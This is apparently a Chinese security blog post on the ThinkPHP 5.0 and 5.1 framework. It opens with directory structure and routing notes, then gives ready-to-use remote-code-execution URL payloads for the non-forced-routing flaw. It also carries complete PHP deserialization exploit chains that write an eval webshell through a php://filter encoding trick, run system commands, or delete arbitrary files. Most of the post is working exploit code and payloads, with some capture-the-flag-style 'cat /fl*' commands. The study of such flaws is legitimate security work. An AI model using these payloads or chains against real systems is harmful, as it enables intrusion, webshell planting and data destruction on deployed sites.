tp5
1.tp5.0开始
结构
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录(Home:前台模块;Admin:后台模块)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
url模式
未启用路由的情况下:
http://localhost/tp5/public/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]
可以看到,无论是URL访问还是命令行访问,都采用PATH_INFO访问地址,其中PATH_INFO的分隔符是可以设置的
tp5取消了URL模式的概念,普通模式被移除,但是参数支持
模块/控制器/操作?参数名=参数值&...
URL大小写
默认情况下,URL是不区分大小写的,也就是说 URL里面的模块/控制器/操作名会自动转换为小写,控制器在最后调用的时候会转换为驼峰法处理。
当然也可以在配置文件中改为区分大小写
// 关闭URL中控制器和操作名的自动转换
'url_convert' => false,
路由
一、普通模式
关闭路由,完全使用默认的PATH_INFO方式URL:
'url_route_on' => false,
路由关闭后,不会解析任何路由规则,采用默认的PATH_INFO 模式访问URL:
http://serverName/index.php/module/controller/action/param/value/...
二、混合模式
开启路由,并使用路由定义+默认PATH_INFO方式的混合
'url_route_on' => true,
'url_route_must'=> false,
该方式下面,只需要对需要定义路由规则的访问地址定义路由规则,其它的仍然按照第一种普通模式的PATH_INFO模式访问URL。
三、强制模式
开启路由,并设置必须定义路由才能访问:
'url_route_on' => true,
'url_route_must' => true,
如果未开启强制路由,那么可能会导致rce
例如定义首页路由
Route::get('/',function(){
return 'Hello,world!';
});
2.未开启强制路由导致RCE命令执行
这里跟一下invokefunction的paylaod
参考:https://xz.aliyun.com/t/8312
在未开启强制路由的情况下,用户可以调用任意类的任意方法
两大版本:
- 5.0.0<=ThinkPHP5<=5.0.23
- 5.1.0<=ThinkPHP<=5.1.30
分析
默认是没有开启强制路由的
compose.json改成5.0.22
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.22"
然后运行composer update
输入payload:
http://192.168.117.98:8088/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
直接在入口处下断点
有用于过滤HTML和PHP标签的strip_tags函数,漏洞产生与路由调度有关,来看执行路由调度的代码:
跟进path看看
可以看到$path的值由pathinfo()获取,所以跟进pathinfo函数
最后返回的path就是我们?m=xxx传入的index/\think\Container/invokefunction
回到routeCheck方法
看到这里判断是否开启强制路由,若是开启了会抛出错误,但是默认是开启的,所以是存在RCE漏洞的
然后走完routeCheck函数,获得$dispatch的值
App.php
跟进invokeMethod
跟进bindParams
payload
5.0.x
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
其他Paylaod:
Request:
?s=index/\think\Request/input&filter=system&data=tac /f*
write写shell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
访问shell.php
display
?s=index/\think\view\driver\Think/display&template=<?php%20system(%27cat%20/fl*%27);?>
__call通杀
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php%20system(%27cat%20/fl*%27);?>
3.tp5.0.X反序列化利用链
我用的是5.0.25
漏洞测试代码 application/index/controller/Index.php 。
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
首先全局搜索__destruct
选择tp5.0.22/thinkphp/library/think/process/pipes/Windows.php
跟进removeFiles()
file_exists调用toString方法
全局搜索__toString
找到tp5.0.22/thinkphp/library/think/Model.php
到这的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
abstract class Model{}
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
继续跟tp5.0.22/thinkphp/library/think/Model.php
的__toString方法
跟进toJson方法
一直跟到toArray方法
尝试去寻找可控参数并且尝试进行下一次跳转
有三处可以调用__call方法的地方,都可以成功
选择第三处
if (!empty($this->append)) { //1.append不为空
foreach ($this->append as $key => $name) {
if (is_array($name)) { //2.name不为数组
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) { //3.name里不包含'.'
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);//4.解析name赋值给$relation
if (method_exists($this, $relation)) { //5.自身存在relation方法
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {//6.moldelRelation类中存在getBindAttr方法
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) { //7.$modelRelation->getBindAttr()的返回值为true
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) { //8.$this->data[$key]不存在
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
$this->append
我们可控,所以name
就可控,relation
也就可控
主要看第5,6,7个条件if (method_exists($this, $relation))
- 该类需要存在relation方法,
- 且relation方法的返回值(一个类)需要存在getBindAttr方法
- 调用getBindAttr的返回值还要为真
所以先找
找一下该类(Model类)的哪一个方法可以返回一个任意的类对象
正则搜索return \$this->.*
好多都可以
找到getParent()
和getEror()
方法,这两个比较好利用,这里选择getError
继续进行构造
再往后需要全局搜索哪个类有getBindAttr
方法了
只找到一个抽象类OneToOne
,所以找一下哪个类继承了次类,全局搜extends OneToOne
找到了HasOne
和BelongsTo
类,二者都可利用,这里我们使用HasOne
类,所以$moldelRelation
即为HasOne
类的实例
需要调用getBindAttr的返回值为真,这里bindAttr属性可控,条件8的data默认为空并且也可控
接下来就是看看怎么给value赋值,跳到__call魔术方法
$value = $this->getRelationData($modelRelation);
进入getRelationData类
- 存在parent
- !$modelRelation->isSelfRelation()
- get_class($modelRelation->getModel()) == get_class($this->parent))
parent可控的,全局搜一下isSelfRelation()
,在Relation类
这里的selfRelation我们可控,直接给赋值成false
跟进getModel方法
query可控,继续跟进
model可控,所以我们看看value需要赋值成哪个类的实例,value=parent,然后再让model和parent一样就行了
选择Output类
编写一下这部分的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
protected $parent;//这里把parent改成public???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
abstract class Relation
{
protected $selfRelation;
public function __construct(){
$this->selfRelation = false;
}
}
namespace think\console;
class Output{
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
namespace think\model\relation;
class HasOne extends OneToOne
{
}
namespace think\db;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
use think\console\Output;
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
这里有很坑的地方,调试的时候发现有两个parent属性,在后面的判断中parent被值为null的parent覆盖
思考之后在Pivot类中发现在子类Pivot里有一个public属性的parent这样的
我们是通过子类的实例想去获取父类的parent,但是子类本身存在parent属性,就导致父类的parent属性被子类的给覆盖了,把parent改成public就行了,这是改进的exp:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
public $parent;//这里把parent改成public了???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\console;
class Output{
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
namespace think\model\relation;
class HasOne extends OneToOne
{
protected $bindAttr = [1];
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
成功跳转到__call
!!!
这里styles
可控,赋值成getAttr
进入if
跟进block函数,一直跟进
handle
可控,看看还有哪些类可以利用write
函数,选择Memcached
类
这里handler可控,继续找还有哪些类能利用set方法,选择File类的set函数
目标是利用file_put_contents
来往文件里写马
先分析一下filename
,跟进getCacheKey
函数
$this->options
可控,就可以控制filename了
再看$data,也就是写入文件的内容。
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
使用伪协议配合编码过滤脏字符来绕过exit
convert.iconv.utf-8.utf-7将脏字符过滤
convert.base64-decode保护我们的一句话木马不被过滤
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
<?php @eval($_POST['ccc']);?>
将文件写到根目录下
但是这里$data
是$value
序列化后的值,value已被写死为true,不可控
所以这里file_put_contents
可以写文件,但是内容不可控
看到下set剩下的代码
跟进setTagItem
函数
这里会再次调用set函数,并且这里的$value
可控,这样写入的内容我们就可控了
可以看到我们成功写入$value
$name成功被改写
静态目录下成功写入文件,文件路径:
http://127.0.0.1/public/a.php3b58a9545013e88c7186db11bb158c44.php
拿到shell
如果本地没环境打远程服务器的话,我们怎么获取文件路径呢?
调试一下看看逻辑
前面是第一次写文件,我们无法控制内容那次
后面又调用一次getCacheKey函数
这才是我们的后门文件,这里key是定值true,所以$key也会是定值tag_c4ca4238a0b923820dcc509a6f75849b
之后进入has函数,会调用get函数,然后会再次调用getCacheKey
函数
这里将定值再进行一次md5,所以得到的filename还是定值3b58a9545013e88c7186db11bb158c44
经过拼接最终filename为
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php
所以最后的文件路径就是根目录下a.php3b58a9545013e88c7186db11bb158c44.php,这是定值
也有写函数获取路径的
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options=[];
public function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
echo $pos;
echo "\n\n";
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
EXP:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model
{
protected $append = [];
protected $data = [];
protected $error;
public $parent;//这里把parent改成public了???
public function __construct(){
$this->error = new HasOne();
$this->parent = new Output();
$this->append = ['getError'];
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
protected $styles;
private $handle;
public function __construct()
{
$this->handle = new Memcached();
$this->styles = ['getAttr'];
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
}
namespace think\model\relation;
class HasOne extends OneToOne
{
protected $bindAttr = [1];//只要不为空就行
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this -> model= new Output();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler;
PUBLIC function __construct(){
$this->handler = new File();
}
}
namespace think\cache\driver;
class File {
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'prefix' => '',
'cache_subdir' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => ''
];
$this->tag = true;
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
4.tp5.1开始
多了route/route.php
可以在此将/模块/控制器/操作方法
的 URL 映射到指定路由
————————————————————————————————————————————————
5.tp5.1.x反序列化利用链
composer create-project topthink/think=5.1.* tp
注意tp5.1版本的根目录要设置成/public
通用exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>
存在一个删除任意文件的功能
<?php
namespace think\process\pipes;
use think\Process;
class pipes{};
class Windows extends Pipes
{
private $files = [];
public function __construct(){
$this->files = ["C:\\Users\\20778\\Desktop\\1.txt" ];
}
}
echo urlencode(serialize(new Windows()));
接下来看如何调用到__toString方法
将$filename实例化为tostring方法在的类,但是这里的类是个trait
所以trait是可调用方法,所以需要找一下那个类use Conversion
找到了抽象类Model,Pivot extends Model,所以最终使用Pivot类
toString一直跟到toArray方法的关键代码:
存在append可以进入if,最后的relation可控就可以跳转到__call方法
需要让$relation返回值为true,与getRelation方法有关,跟进
标签:use,finish,think,tp5,protected,model,php,class From: https://www.cnblogs.com/m1xian/p/18276839